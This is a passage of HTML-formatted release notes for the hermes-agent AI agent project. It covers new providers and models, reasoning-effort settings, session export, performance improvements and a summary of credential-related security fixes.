data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
